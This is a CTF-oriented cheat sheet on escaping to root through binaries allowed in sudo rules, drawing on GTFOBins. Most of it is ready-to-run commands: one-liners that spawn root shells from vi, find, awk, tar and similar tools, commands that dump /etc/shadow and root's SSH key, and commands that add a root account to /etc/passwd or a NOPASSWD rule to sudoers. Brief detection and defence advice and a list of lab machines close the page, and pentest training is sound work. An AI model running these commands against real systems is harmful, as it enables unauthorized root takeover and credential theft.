sudo escape with GTFOBins
Full command arsenal in the cheatsheetGTFOBins is a catalogue of legitimate Unix binaries that, when misconfigured, can break restrictions: read/write files beyond your reach, keep a shell, or escalate privileges. The most common CTF route is sudo: when sudo -l shows a user can run a given binary as root without a password, many of those binaries offer a "side door" to spawn a shell inheriting that privileged context.
Enumeration
The starting point is always sudo -l, which lists the rules granted to the current user:
sudo -l
# (root) NOPASSWD: /usr/bin/vi /var/www/html/*Each allowed binary gets looked up on GTFOBins: if it has a Sudo section, there's almost always a direct escape. The key is that plenty of tools can run arbitrary commands without being shell interpreters: editors (vi, vim, nano), pagers (less, more, man), languages (awk, perl, python, find -exec) or utilities like tar/rsync/zip with their hooks.
Root shell escape
Each line is the escape for whichever binary shows up in sudo -l. The shell inherits root because sudo already elevated the process:
sudo vi -c ':!/bin/bash' /dev/null # or :set shell=/bin/bash + :shell
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-c","reset; exec bash")'
sudo nano # ^R^X then type: reset; sh 1>&0 2>&0
sudo find . -exec /bin/bash \; -quit
sudo env /bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo perl -e 'exec "/bin/bash";'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo less /etc/profile # inside: !/bin/bash
sudo man man # inside: !/bin/bash
sudo git -p help config # inside the pager: !/bin/bash
sudo ftp # inside: !/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo systemctl # pager open: !shMany "network" or service binaries also escape (ssh, scp, mysql, nmap, gdb, docker); the Sudo section of GTFOBins has the exact line for each.
File read as root
If the binary gives no shell but reads, dump /etc/shadow to crack the hash or read root's private key. One binary per line:
sudo cat /etc/shadow
sudo cp /etc/shadow /tmp/shadow && cat /tmp/shadow
sudo head -n 100 /root/.ssh/id_rsa
sudo xxd /etc/shadow | xxd -r
sudo base64 /etc/shadow | base64 -d
sudo less /etc/shadow
sudo vim -c ':r /etc/shadow' -c ':w! /tmp/out' -c ':q!'File write as root
If the binary writes, the cleanest path is adding yourself to /etc/passwd, dropping a rule in /etc/sudoers, or planting a key in root's authorized_keys:
openssl passwd -1 -salt hax pass123 # generates the $1$hax$... hash
echo 'hax:$1$hax$...:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers
sudo cp ~/.ssh/id_rsa.pub /root/.ssh/authorized_keysGTFOBins classifies each binary by Shell, File read, File write and SUID: check which column the one you're allowed falls into.
What usually gets in the way
- The wildcard doesn't protect. A rule
(root) NOPASSWD: /usr/bin/vi /var/www/html/*looks scoped to a directory, but the escape doesn't depend on the file opened: onceviruns as root,:!/bin/bashgives root all the same. env_resetand absolute paths mean a merePATHchange won't do; if the rule points to an absolute path, the escape must come from the binary itself (or move to PATH hijacking if the rule calls a binary with no path).LD_PRELOAD/LD_LIBRARY_PATH: ifsudo -lshowsenv_keep+=LD_PRELOAD, compile a malicious.soand inject it when invoking any allowed binary (see shared library injection).
How to detect it. sudo logs every invocation to /var/log/auth.log (or journalctl _COMM=sudo): the signature is a legitimate binary (vi, find, tar, awk) run as root and immediately followed by a sh/bash child, a lineage that binary never produces in normal use (auditd/Sysmon for Linux over execve with the allowed binary as ppid). A find ... -exec /bin/bash or a tar --checkpoint-action=exec in the sudo logs is practically a confession.
Defence. Grant via sudo only binaries with no shell-out capability; avoid broad wildcards; prefer wrapper scripts with fixed arguments; don't keep LD_* in env_keep; and audit sudoers against the GTFOBins list. Related to other abuses like sudo + rsync, writable script via sudo or PATH hijacking.
Machines where it's used
- BigPivotingDockerLabs
- BuscaloveDockerLabs
- ChocolateLoversDockerLabs
- ClueProving Grounds Practice
- ConsolelogDockerLabs
- Dance-SambaDockerLabs
- Darkhole 2VulnHub
- DockerlabsDockerLabs
- LaVitaProving Grounds Practice
- PostfishProving Grounds Practice
- PotatoProving Grounds Play
- PsychoDockerLabs
- SwagShopHackTheBox
- Symfonos 1 & 2VulnHub
- Symfonos 5VulnHub
- Symfonos 6VulnHub
- ZabProving Grounds Practice